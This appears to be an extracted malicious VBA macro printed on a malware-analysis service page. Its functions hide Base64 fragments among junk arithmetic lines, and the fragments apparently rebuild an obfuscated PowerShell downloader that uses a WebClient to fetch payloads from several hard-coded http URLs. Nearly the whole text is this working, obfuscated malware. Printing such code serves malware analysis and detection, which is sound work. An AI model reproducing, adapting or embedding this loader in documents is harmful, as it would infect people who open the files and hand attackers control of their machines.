HNqmbr = Fix(6947 / CSng(40662) * vOmdv * wjjpvE)
VhBn = CDate(84318)
drkiB = "OQAzAH0AewAw" + "AH0Aew" + "A2ADYAfQ" + "B7ADEAMA" + "A4AH0AewA1ADc" + "AfQB7"
VLznmP = Fix(33315 / CSng(40288) * Zmliqi * ZflwN)
VhBn = CDate(60206)
nkjpkWvZcRw = "ADkAOAB9AHsA" + "MwA2A" + "H0AewA2AH0Ae" + "wAyADEAfQB7ADUA" + "NQB9AHsAM"
OQkkz = Fix(84111 / CSng(23033) * jPVUb * EQFjaW)
VhBn = CDate(25652)
ZdsjSDBSSJi = "QA4AH0AewA1A" + "DAAfQ" + "B7ADQAfQB7ADEA" + "MQA2AH0AewAxA" + "DEAMwB9AHsANg"
KzFwJQ = Fix(31196 / CSng(37648) * iqslXC * TdjYFW)
VhBn = CDate(17318)
OiTWMtRJid = "A5AH0AewA4ADYAf" + "QB7ADk" + "ANQB9AHsANwA3" + "AH0AewA5" + "ADcAfQB7A" + "DEAMwAzAH0"
HuVOj = Fix(28350 / CSng(74016) * FWFli * ivkMVr)
VhBn = CDate(58231)
pVtVVqfS = "AewAxADQAfQB7AD" + "MAfQB7ADEAOQB" + "9AHsANwAwAH" + "0AewA2A" + "DcAfQB7ADE" + "AMAAzAH0AewAxA" + "DMAfQB7A" + "DEAMwA1AH0" + "AewAxADM" + "ANAB9"
XQQiiJWBizI = FuOSjiTPwL + drkiB + nkjpkWvZcRw + ZdsjSDBSSJi + OiTWMtRJid + pVtVVqfS
End Function
Function lUuws()
On Error Resume Next
qjOZPz = Fix(79330 / CSng(78644) * oqjrOv * nirhn)
VhBn = CDate(29132)
SwFLwz = "AHsAMQAwA" + "DYAfQB7ADEAMQ" + "A0AH0AewAxADMA" + "MAB9AHs" + "AOAA3AH0A" + "ewA3ADEAf"
RAUuk = Fix(76730 / CSng(86119) * RrYEo * GwoTQk)
VhBn = CDate(33655)
fPvPhKj = "QB7ADQAMAB9AH" + "sANgAxAH0Ae" + "wAyADQAfQB7AD" + "EAMQAyAH0AewA" + "xADIANAB9" + "AHsAM" + "QAxADgAf"
uHTAiZ = Fix(83198 / CSng(98782) * vbPwYv * EAtoY)
VhBn = CDate(85633)
oJasYItw = "QB7ADgAOQB9" + "AHsAM" + "wAwAH0AewAxADU" + "AfQB7ADEAMQ" + "AwAH0AewAzAD"
KGChf = Fix(5936 / CSng(26046) * izWFN * kFTISu)
VhBn = CDate(56791)
wsLSj = "cAfQB" + "7ADQAN" + "gB9AHsAM" + "QAyADAAfQB" + "7ADMAOAB9AHs" + "AMQAwA" + "DQAfQB7"
YDhDlP = Fix(29641 / CSng(82971) * WCoJtj * LwjYwQ)
VhBn = CDate(50320)
XwtZVACLV = "ADIAMgB9AH" + "sANgAzAH0AewA" + "5ADAAfQB7AD" + "EAMQA1AH0Ae" + "wA1ADkAfQB7AD"
hbUvZ = Fix(60478 / CSng(11215) * phiwzb * zHnWz)
VhBn = CDate(6156)
jZsiBsF = "EAMAA5AH0AewA" + "xAH0Ae" + "wA0ADQAfQB7" + "ADkAMQB9A" + "HsANAA4A" + "H0AewA5A" + "DYAfQ" + "B7ADEAMgB9A" + "HsAMgB9AH"
lUuws = SwFLwz + fPvPhKj + oJasYItw + wsLSj + XwtZVACLV + jZsiBsF
End Function
Function CEwBjUiXk()
On Error Resume Next
SqYbz = Fix(42634 / CSng(21766) * jHcOV * vTRzQ)
VhBn = CDate(8666)
hYcvkE = "sAMQAzADEA" + "fQB7ADEAM" + "wAyAH0" + "AewA0ADkAfQ"
bLhsjf = Fix(71780 / CSng(31611) * taQJJ * Wwijmj)
VhBn = CDate(2463)
YLszTXzcRoD = "B7ADEAMAA1AH" + "0AewAx" + "ADAAfQB7ADEAMgA" + "2AH0AewAxA" + "DIAMgB9AHsANAAz" + "AH0Aew" + "AxADIAOQB9A" + "HsANQA2A" + "H0AewA0ADEAf"
WlGHCn = Fix(42984 / CSng(47546) * wYqiri * rZpXO)
VhBn = CDate(5271)
zrsARia = "QB7ADcAMgB" + "9AHsAOA" + "A0AH0AewA1ADE" + "AfQB7ADEAMgA1A" + "H0AewA" + "0ADcAfQB7ADg" + "AMgB9" + "AHsAMgA5AH0Aew"
MARzSP = Fix(63805 / CSng(34347) * akLHd * icmVr)
VhBn = CDate(33553)
CzAPnRnNL = "AzADIAfQB7AD" + "MANAB9" + "AHsAM" + "QAwADcAfQAiAC0A" + "ZgAgA" + "CcAQABo" + "ACcALAAnAG"
TzfQUs = Fix(24339 / CSng(89783) * MTntGl * EJBjIQ)
VhBn = CDate(89813)
JhBLYHfLwd = "EAZABGAEkAJwAs" + "ACcAaQA0" + "AEIANwAnACwA" + "JwAvAGEARgBYAC"
bkTrMk = Fix(86504 / CSng(22279) * ahRSBv * FVwXsT)
VhBn = CDate(68182)
DrEbrWzXJ = "4AJwA" + "sACcAbQA" + "vACcALAAnA" + "HcALQBvAGIAag"
zliMp = Fix(70403 / CSng(55268) * EwpjZ * itTHH)
VhBn = CDate(36781)
jpABpZVm = "BlACcA" + "LAAnAHkALwBAAGg" + "AdAB0" + "ACcAL" + "AAnACAAP" + "QAgAG" + "MAcwBIAG4AJwA" + "sACcAPQAg" + "AGEAJwAsACcAZQA" + "nACwAJwBTA"
TYCNN = Fix(53142 / CSng(75468) * XoHAC * aCjWvw)
VhBn = CDate(58310)
zFGTtb = "EQAJw" + "AsACcAbQAuAC" + "cALAAnAGE" + "AcwBmAGMALgB" + "xADYAWQBU"
TMLPj = Fix(75037 / CSng(6002) * kMQrd * jwbIp)
VhBn = CDate(67373)
vkkZjmUjhPz = "AG8AUwB" + "0AHIANAB" + "CADcAJwAsAC" + "cASABlAG4A" + "dgA6AHAAdQAnAC" + "wAJwB6AE" + "gAJwA" + "sACcAIAAnAC"
KiiXbH = Fix(82931 / CSng(74721) * LVvGFq * zrAQT)
VhBn = CDate(6808)
oSiJIDkTWU = "wAJwAmACgAYQ" + "AnACwAJwBhACcA" + "LAAnAC4AY" + "wAnACwAJwBT" + "AHAAbABpAHQ" + "AKABhAEYAW" + "AAnACwAJwBlAG" + "4AdAAnA"
CEwBjUiXk = hYcvkE + YLszTXzcRoD + zrsARia + CzAPnRnNL + JhBLYHfLwd + DrEbrWzXJ + jpABpZVm + zFGTtb + vkkZjmUjhPz + oSiJIDkTWU
End Function
Function EVkCGvaYb()
On Error Resume Next
kKQNVi = Fix(89106 / CSng(74853) * vfIic * IfLQzB)
VhBn = CDate(91015)
SDFmFtjb = "CwAJwBwA" + "DoALwAvAHkAJwAs" + "ACcAWQBVAC" + "cALAAnADsAJ" + "wAsACcAZgAnACw" + "AJwBGA" + "CcALAAnAEYAW" + "ABuAGEARgBYAC" + "sAYQBGAFgAZQA" + "nACwAJwBhACcALA"
WIqwiR = Fix(79369 / CSng(35095) * HnwMK * VErYMz)
VhBn = CDate(50965)
BORaVIc = "AnAHMAJwAsAC" + "cAOwAn" + "ACwAJwBmA" + "GMAIABpAG4AJwAs" + "ACcAYQBGACc" + "ALAAnA"
MZFjVE = Fix(5188 / CSng(8495) * pNtEfm * VTdSA)
VhBn = CDate(82394)
iQjjaUYKEO = "H0AYwAn" + "ACwAJwBjAHMASAB" + "OAFMAQgAnA" + "CwAJwBhAHQ" + "AJwAsACcAc"
fwkqMI = Fix(56015 / CSng(67219) * wLiXYi * NLCtI)
VhBn = CDate(97738)
rFwzO = "wAnACwAJwAvAD" + "kAUQBkAHgAJw" + "AsACcAcwAn" + "ACwAJw" + "B7AGMAJw" + "AsACcAYgB" + "qAGUAJ" + "wAsACcAIAAoAGE" + "ARgBYAC4AZ"
ppSaC = Fix(86575 / CSng(43881) * wVuZl * OqwQGR)
VhBn = CDate(94619)
lFRBs = "QB4AGE" + "ARgBYACcALAAnAF" + "gAKwAn" + "ACwAJwB" + "hAEYAWAArAGEA" + "RgBYAC0AbwAn" + "ACwAJwBYAEkAbg"
BOrnzP = Fix(13518 / CSng(96121) * VjhuAu * apZoOI)
VhBn = CDate(54985)
Swmoi = "B2AG8" + "AYQBGAFgAK" + "wAnAC" + "wAJwA0AEIAJ" + "wAsACcALwBSAG4" + "AeQBUAHYALwBA" + "ACcALAAnAEgAQQ" + "AnACwAJwBEA"
wjzUGd = Fix(4961 / CSng(64685) * voDjO * HBwYYt)
VhBn = CDate(7358)
FiZLQNC = "CcALAAnAHEANgA" + "nACwAJw" + "AsACAAYwAnACw" + "AJwBvACc" + "ALAAnAC0" + "ASQB0AGU" + "AbQBhAEYAWAA" + "pACcALAAnACsAYQ" + "BGAFgAJ"
EVkCGvaYb = SDFmFtjb + BORaVIc + iQjjaUYKEO + rFwzO + lFRBs + Swmoi + FiZLQNC
End Function
Function nLaVXLNkj()
On Error Resume Next
NvPpQr = Fix(17445 / CSng(59611) * msqPQm * TTzNwM)
VhBn = CDate(82629)
iiqZHmP = "wAsACcAWAANAA" + "oAaAB0AHQA" + "cAA6AC8A" + "LwBtA" + "GkAbQBoAG8" + "AcwAnACwAJw" + "BjAHQAJwAsACc" + "AbwB1AHIAcw" + "BhAHkAJwAsACcA" + "RgBYAGsA"
LwSmQk = Fix(6948 / CSng(10396) * tmZrnm * KQvRqX)
VhBn = CDate(58598)
DRcrjDY = "YQBGACcALAAnAD" + "oALwAvAHcAaQ" + "BsAG0" + "AZQBzAG"
PGEFuq = Fix(83593 / CSng(1241) * RdUYW * HinzV)
VhBn = CDate(58176)
nOjDd = "0AZQBp" + "AGUAcgAnACwAJw" + "BjAHMAS" + "ABuAHMA" + "YQBkACcAL" + "AAnAGwANA" + "BCACcALAAnADoAL" + "wAvACcALAAnA" + "CsAYQ"
zjjID = Fix(64659 / CSng(32849) * HnRbX * jzLCC)
VhBn = CDate(71902)
BIvvcDbwj = "BGAFgAZQBhAEY" + "AWAApADsAJwAsA" + "CcAIAAn" + "ACwAJw" + "AuAHEANgBZA" + "EQAbwA0ACcALA" + "AnAGIAcwAv" + "AG0AZQ"
aJRRo = Fix(5264 / CSng(76147) * CaIMCH * ZlnJj)
VhBn = CDate(59593)
nbOrXEuT = "BkAGkAYQA" + "vAGsAJwAsACcANQ" + "BQACcALAAnAHQA" + "dAAnACwAJ" + "wA9ACAA" + "JwAsACcAa" + "AB0AHQAcAAnACw" + "AJwBvAC8AQA" + "BoACcALAAnAEAAY"
qCwwE = Fix(52707 / CSng(71131) * uTssZW * rOidr)
VhBn = CDate(9340)
wUHiQ = "QBGAFgAK" + "QA7AGMAcwBIAFMA" + "RABDACAAJwAsACc" + "AKwAnACwA" + "JwBhA" + "EYAJwAsACcAMAA" + "wADAAMAAsACAAM" + "gAnACwAJwA5ACcA"
IOVCI = Fix(47497 / CSng(49973) * sBpRT * UpwMz)
VhBn = CDate(51093)
ciiAQYIoZQn = "LAAnAHMAZAA" + "gAD0AIAAnA" + "CwAJwB" + "vAG8AL"
oTJhAJ = Fix(88773 / CSng(46771) * GnEcth * BSMCib)
VhBn = CDate(82762)
vQLzpjZlo = "gBzAGcAL" + "wBkACcALAAn" + "AGUAbABs" + "ACcALA" + "AnAG4AZAAn" + "ACwAJwBjAG"
HDAWZ = Fix(62349 / CSng(33263) * ihUvMU * OfrNv)
VhBn = CDate(3336)
waVYK = "EARgBY" + "ACcALAA" + "nAEoAJwAs" + "ACcAZA"
nLaVXLNkj = iiqZHmP + DRcrjDY + nOjDd + BIvvcDbwj + nbOrXEuT + wUHiQ + ciiAQYIoZQn + vQLzpjZlo + waVYK
End Function
Function wqjzIazSPPU()
On Error Resume Next
qUmMz = Fix(87621 / CSng(71281) * ANcFa * JXzwot)
VhBn = CDate(50453)
SZrSRLG = "BhAC4AJwAsACcA" + "QwApADsA" + "YgByAGU" + "AYQBrACcA" + "LAAnACkAIAByA" + "GEAJwAs" + "ACcAWABlACcAL" + "AAnAEgAQQBEAEM" + "AWAAnACwAJ"
ZmRjKz = Fix(43140 / CSng(75916) * vCvMf * MjXJFh)
VhBn = CDate(12649)
XjPchTAGsY = "wB0AHQAc" + "AA6AC8ALwBl" + "ACcALAAnA" + "CAAJw" + "AsACcAVwBlAGIAQ" + "wBsAGkAJwAsA"
GuKFI = Fix(85363 / CSng(28435) * Imwvz * QinBNz)
VhBn = CDate(64453)
HlBXRJQmPHj = "CcAcwAnACwAJ" + "wBCACcALAAnAD" + "cAbABlACcALAAnA" + "CsAYQBGAF" + "gAdABh" + "AEYAW" + "AAnACwAJ" + "wBEAC8AJw" + "AsACcAWQBVACAAP" + "QAgAC4"
ikinm = Fix(29234 / CSng(32798) * UNTUKl * sOvzo)
VhBn = CDate(87540)
GsjpUpHlu = "AKABhAEYA" + "WABuAGUAJw" + "AsACcAbg" + "BjAGsAJwAsACc" + "AWQAoAGMAcwBIA" + "CcALAAnAC4Acw" + "BlAC8Aaw" + "AnACwAJwAuA"
wqjzIazSPPU = SZrSRLG + XjPchTAGsY + HlBXRJQmPHj + GsjpUpHlu
End Function
Function qhwTvwoYT()
On Error Resume Next
QkjRS = Fix(78641 / CSng(41477) * UHkDQ * aUGzp)
VhBn = CDate(47293)
opMaDHY = "GQAZQAn" + "ACwAJw" + "BhAGQAYQBzA" + "GQALgBu" + "AGUAeAB0ACcA" + "LAAnAD" + "gAJwAsACcANg" + "BsAFgAJ"
ibfkf = Fix(66634 / CSng(91011) * SAtJVU * DUwcOQ)
VhBn = CDate(86288)
puNJibKqW = "wAsACcAYQBGA" + "FgAKQAgAFMAeQBz" + "AHQAZQAnACwAJ" + "wBjAHMAJwAs" + "ACcAcwBIAFkAJw" + "AsACcAcwBI" + "ACcALAAn" + "AGEARgBYA"
jGVaR = Fix(88508 / CSng(78510) * wUqhIE * nGaQCH)
VhBn = CDate(83931)
jNwqRTIKa = "GIAQQAnACwAJw" + "BjAGgAewB9AH0" + "AJwAsA" + "CcAcAAnACwAJwA" + "3AE8AJw" + "AsACc" + "AYwAnACwAJw" + "BjACcALAAnAG8AJ" + "wAsACcAU"
uFjQmD = Fix(26447 / CSng(19567) * qPvdJ * dtdAu)
VhBn = CDate(78552)
uAIOEdVz = "AAnACwA" + "JwB1AGEA" + "JwAsACcANwBX" + "AG4AJwAsAC" + "cASgBH" + "AGEASgAnACw" + "AJwBhACcAL" + "AAnAGEA" + "YwBoACgAYwBzAE" + "gAYQAnACwAJwB"
mmznIV = Fix(77265 / CSng(99359) * EsNbUl * CwkKor)
VhBn = CDate(85786)
ZioGz = "GAFgAdwAnACwAJ" + "wBEAEM" + "AWAApAHsAd" + "AByAHk" + "AJwAsACcAcAAnA" + "CwAJwBhAEYAJ" + "wAsACcAKAAxACcA" + "LAAnAHIAZ" + "QAnACwAJ"
DdzwW = Fix(48337 / CSng(13415) * EOTuRw * rVCzKD)
VhBn = CDate(31920)
qwGGwi = "wAoAGMAcwBI" + "AFMAJwAsA" + "CcAQwAp" + "ADsAJgAoACcALAA" + "nAG8AbQ"
nsPaDK = Fix(57866 / CSng(82262) * tqjfYr * RzvIMB)
VhBn = CDate(82106)
anFvV = "A7AGMAcwBIAFkA" + "JwAsACcARgBYACs" + "AJwAsA" + "CcAYQAnACwA" + "JwBGAFgAIA"
qhwTvwoYT = opMaDHY + puNJibKqW + jNwqRTIKa + uAIOEdVz + ZioGz + qwGGwi + anFvV
End Function
Function OiSwlsVTp()
On Error Resume Next
DCsom = Fix(84472 / CSng(64909) * mvKDH * DmaYYB)
VhBn = CDate(51522)
cMLCqf = "ArACAAYw" + "BzAEgAT" + "gBTAEIAJwAs" + "ACcATgBnAHE"
PTiZi = Fix(24962 / CSng(16354) * WmBDW * RpEDL)
VhBn = CDate(71133)
uJjrnPZEvL = "AJwAsACcANgBZAC" + "gAKQAnACw" + "AJwBXAGcARABIA" + "GIAaA" + "AnACwAJwBsAGk" + "AYwAgACsAIA" + "AnACwAJw" + "BiACcAL"
kNnVSu = Fix(16118 / CSng(64583) * cplonZ * MJUwi)
VhBn = CDate(47392)
YiMwVUdR = "AAnADIAM" + "QAzAD" + "MAKQA7AGMAcw" + "AnACwAJwBY"
BDcCV = Fix(72001 / CSng(37566) * ppSiF * DPSAai)
VhBn = CDate(18538)
ENtOl = "ACcALAAn" + "AG8AbQAn" + "ACwAJwBOAGUA" + "dAAuACcA" + "KQApAC4" + "AcgBFAFA" + "AbABBAEMAZQA"
RiNsi = Fix(84529 / CSng(87146) * oSLqmS * smwUHA)
VhBn = CDate(92265)
EanIMuEFuk = "oACcAYg" + "BBAHUAJwA" + "sACcAXAAnACkAL" + "gByAE" + "UAUABsAEE" + "AQwBlACgAJ"
ITUIu = Fix(4421 / CSng(93636) * qNpmu * dGbbwB)
VhBn = CDate(114)
KCojqsK = "wBjAHMASAAn" + "ACwAWw" + "BTAHQAUgBJ" + "AE4AZwBdAFsAYwB" + "IAGEAcgBdADMA" + "NgApAC4Acg" + "BFAFAAbABBA" + "EMAZQAoA" + "CcAcQA2AFk"
PElZa = Fix(25469 / CSng(58702) * BMVLF * Kjwor)
VhBn = CDate(27843)
WRcmaWKT = "AJwAsAFsAUw" + "B0AFIASQBOAG" + "cAXQBbAGMASABhA" + "HIAXQAzADQAK" + "QAuAHI"
cwfwD = Fix(18552 / CSng(79873) * jBuWpD * WVcjZ)
VhBn = CDate(55228)
tAkWzDQ = "ARQBQAGwAQQBDA" + "GUAKAAnAGEARgBY" + "ACcALABb" + "AFMAd" + "ABSAEk" + "ATgBnAF" + "0AWwBjAEgAYQB" + "yAF0AMwA5A"
OiSwlsVTp = cMLCqf + uJjrnPZEvL + YiMwVUdR + ENtOl + EanIMuEFuk + KCojqsK + WRcmaWKT + tAkWzDQ
End Function
Function ijlznuK()
On Error Resume Next
dQijE = Fix(92244 / CSng(85210) * JKlwmH * cWDoU)
VhBn = CDate(41936)
FZBDRqkH = "CkALgByAEUAU" + "ABsAEEAQwB" + "lACgAJwA" + "0AEIANw" + "AnACw" + "AJwBgACcAK" + "QAgACkA"
ijlznuK = FZBDRqkH
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.